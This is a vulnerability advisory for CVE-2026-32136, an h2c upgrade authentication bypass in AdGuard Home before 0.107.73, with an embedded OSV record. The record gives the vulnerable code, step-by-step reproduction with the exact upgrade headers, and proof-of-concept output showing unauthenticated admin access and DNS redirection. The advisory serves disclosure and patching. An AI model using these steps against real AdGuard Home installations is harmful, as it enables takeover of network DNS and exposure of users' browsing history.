CVE-2026-32136: AdGuard Home Authentication Bypass Vulnerability
CRITICALCVE-2026-32136 is a CRITICAL (CVSS 9.8) authentication bypass vulnerability (CWE-287: Improper Authentication) affecting AdGuard Home libraries in the Go ecosystem. The issue involves http/2 cleartext (h2c) upgrade authentication bypass. Remediation is available by upgrading affected packages to version 0.107.73.
CVE-2026-32136 at a Glance
Security Impact
CVSS: 9.8
The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H).
How to Fix CVE-2026-32136
To remediate this vulnerability, upgrade all affected AdGuard Home dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.
Upgrade github.com/AdguardTeam/AdGuardHome to 0.107.73
Run the following command in your project directory to verify that all resolved dependencies use the patched release:
inspect dependencies for github.com/AdguardTeam/AdGuardHome
How to Check if You Are Affected
To determine whether your application is affected by CVE-2026-32136, inspect your project dependencies for AdGuard Home:
inspect dependencies for github.com/AdguardTeam/AdGuardHome
Analyze the terminal output to locate any version of AdGuard Home in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 0.107.73), your application is affected.
Note: Verify declared build manifests and deployed runtime container environments.
Technical Details
Vulnerability Mechanism & Technical Analysis
This vulnerability is classified under CWE-287: Improper Authentication, where when an actor claims to have a given identity, the product does not prove or insufficiently proves that the claim is correct. In AdGuard Home, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.
Source Advisory Statement
CVE-2026-32136 Affected AdGuard Home Versions
1 component(s)| Product / Package | Ecosystem | Affected Versions | Fixed Version |
|---|---|---|---|
|
github.com/AdguardTeam/AdGuardHome
|
Go |
< 0.107.73
|
0.107.73
|
References
Frequently Asked Questions
What is CVE-2026-32136?
Which AdGuard Home versions are affected?
What version fixes CVE-2026-32136?
Is github.com/AdguardTeam/AdGuardHome affected?
What is the CVSS score of CVE-2026-32136?
What CWE is associated with CVE-2026-32136?
How can I check Go dependencies for CVE-2026-32136?
Machine-readable OSV JSON
OSV v1.5 Schema
{
"schema_version" : "1.4.0",
"id" : "GHSA-5fg6-wrq4-w5gh",
"modified" : "2026-03-12T14:47:48Z",
"published" : "2026-03-12T14:47:48Z",
"aliases" : [ "CVE-2026-32136" ],
"summary" : "AdGuard Home: HTTP/2 Cleartext (h2c) Upgrade Authentication Bypass",
"details" : "VULNERABILITY: HTTP/2 Cleartext (h2c) Upgrade Authentication Bypass\n========================================================================\nSeverity: CRITICAL\nCVSS 3.1: 9.8 (AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H)\nCWE: CWE-287 (Improper Authentication)\nComponent: internal/home/web.go\nAffected: AdGuardHome (tested on v0.107.72)\n\n------------------------------------------------------------------------\nSummary\n------------------------------------------------------------------------\n\nAn unauthenticated remote attacker can bypass all authentication in AdGuardHome by sending an HTTP/1.1 request that requests an upgrade to HTTP/2 cleartext (h2c). Once the upgrade is accepted, the resulting HTTP/2 connection is handled by the inner mux, which has no authentication middleware attached. All subsequent HTTP/2 requests on that connection are processed as fully authenticated, regardless of whether any credentials were provided.\n\n------------------------------------------------------------------------\nRoot Cause\n------------------------------------------------------------------------\n\nIn internal/home/web.go (approximately lines 268-283), the HTTP server is constructed as follows:\n hdlr := h2c.NewHandler(\n withMiddlewares(web.conf.mux, limitRequestBody), // no auth\n &http2.Server{},\n )\n web.httpServer = &http.Server{\n Handler: web.auth.middleware().Wrap(hdlr), // auth here\n }\n\nThe authentication middleware wraps the h2c handler at the outer layer. When an h2c upgrade request arrives, the h2c library hijacks the TCP connection and calls http2.ServeConn with Handler set to the inner mux, which was stored at h2c.NewHandler creation time. The authentication middleware is never consulted for any request sent over the resulting HTTP/2 connection. The upgrade request itself passes through because it targets a public path (such as /control/login), which is whitelisted by isPublicResource() in internal/home/authhttp.go. After the upgrade, the attacker can reach any administrative endpoint.\n\n------------------------------------------------------------------------\nProof of Concept\n------------------------------------------------------------------------\n\nThe PoC script (https://gist.github.com/mandreko/f742d244dfa452e8d00cc5736cf8d629) demonstrates the bypass using a raw TCP connection with HTTP/2 framing. No credentials are provided at any point.\n\nSteps:\n 1. Open TCP connection to AdGuardHome (default port 3000).\n 2. Send HTTP/1.1 GET /control/login with headers:\n Upgrade: h2c\n Connection: Upgrade, HTTP2-Settings\n HTTP2-Settings: AAMAAABkAAQAAP__\n 3. Server responds: 101 Switching Protocols.\n 4. Complete HTTP/2 handshake (client preface + SETTINGS exchange).\n 5. Send HTTP/2 HEADERS frame requesting GET /control/status on stream 3.\n 6. Server responds: HTTP 200 with full JSON status payload.\n\nSample output (no username or password supplied):\n python3 poc_h2c_auth_bypass.py 192.168.1.15 80 --hijack-dns 8.8.8.8\n ====================================================================\n AdGuardHome -- h2c Authentication Bypass PoC\n CWE-287: Full API access without credentials\n ====================================================================\n Target : [http://192.168.1.15:80](http://192.168.1.15/)\n Upgrade : /control/login (whitelisted public path)\n\n [*] Connecting and performing h2c upgrade ...\n [+] Bypass established -- authentication is not enforced\n\n [*] GET /control/status\n [+] Version : v0.107.72\n [+] DNS addresses: ['127.0.0.1', '::1', '192.168.1.15', 'fd64:b28c:45d2:4b5e:d35c:7660:e1b:92', 'fe80::ba65:3afa:617f:f077%eth0']\n [+] HTTP port : 80\n [+] Protection : ON\n\n [*] GET /control/querylog (DNS query history)\n [+] 10 recent entries:\n 2026-03-09T20:42:15 [docker.home.andreko.net](http://docker.home.andreko.net/) 192.168.1.232\n 2026-03-09T20:42:00 [docker.home.andreko.net](http://docker.home.andreko.net/) 192.168.1.232\n 2026-03-09T20:41:45 [docker.home.andreko.net](http://docker.home.andreko.net/) 192.168.1.232\n 2026-03-09T20:41:30 [docker.home.andreko.net](http://docker.home.andreko.net/) 192.168.1.232\n 2026-03-09T20:41:12 [docker.home.andreko.net](http://docker.home.andreko.net/) 192.168.1.232\n\n [*] GET /control/dhcp/status (network device inventory)\n [+] Dynamic leases : 0\n [+] Static leases : 0\n\n [*] POST /control/dns_config (DNS -> 8.8.8.8)\n [+] Upstream DNS changed to 8.8.8.8\n [+] All DNS queries now route through attacker-controlled server\n\nThe bypass gives full administrative API access, including:\n - Reading and modifying DNS configuration\n - Adding malicious filter lists\n - Disabling protection\n - Changing the admin password\n - Hijacking DNS resolution for all clients on the network\n\n------------------------------------------------------------------------\nRemediation\n------------------------------------------------------------------------\n\nMove the authentication middleware inside the h2c handler so it applies to all connections regardless of protocol:\n authedMux := web.auth.middleware().Wrap(\n withMiddlewares(web.conf.mux, limitRequestBody),\n )\n hdlr := h2c.NewHandler(authedMux, &http2.Server{})\n web.httpServer = &http.Server{\n Handler: hdlr,\n }\n\nAlternatively, if h2c support is not required, removing h2c.NewHandler entirely would eliminate the attack surface. HTTP/2 over TLS (h2) is not affected by this vulnerability.",
"severity" : [ {
"type" : "CVSS_V3",
"score" : "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H"
} ],
"affected" : [ {
"package" : {
"ecosystem" : "Go",
"name" : "github.com/AdguardTeam/AdGuardHome"
},
"ranges" : [ {
"type" : "ECOSYSTEM",
"events" : [ {
"introduced" : "0"
}, {
"fixed" : "0.107.73"
} ]
} ]
} ],
"references" : [ {
"type" : "WEB",
"url" : "https://github.com/AdguardTeam/AdGuardHome/security/advisories/GHSA-5fg6-wrq4-w5gh"
}, {
"type" : "ADVISORY",
"url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-32136"
}, {
"type" : "PACKAGE",
"url" : "https://github.com/AdguardTeam/AdGuardHome"
} ],
"database_specific" : {
"cwe_ids" : [ "CWE-287" ],
"severity" : "CRITICAL",
"github_reviewed" : true,
"github_reviewed_at" : "2026-03-12T14:47:48Z",
"nvd_published_at" : "2026-03-11T22:16:33Z"
}
}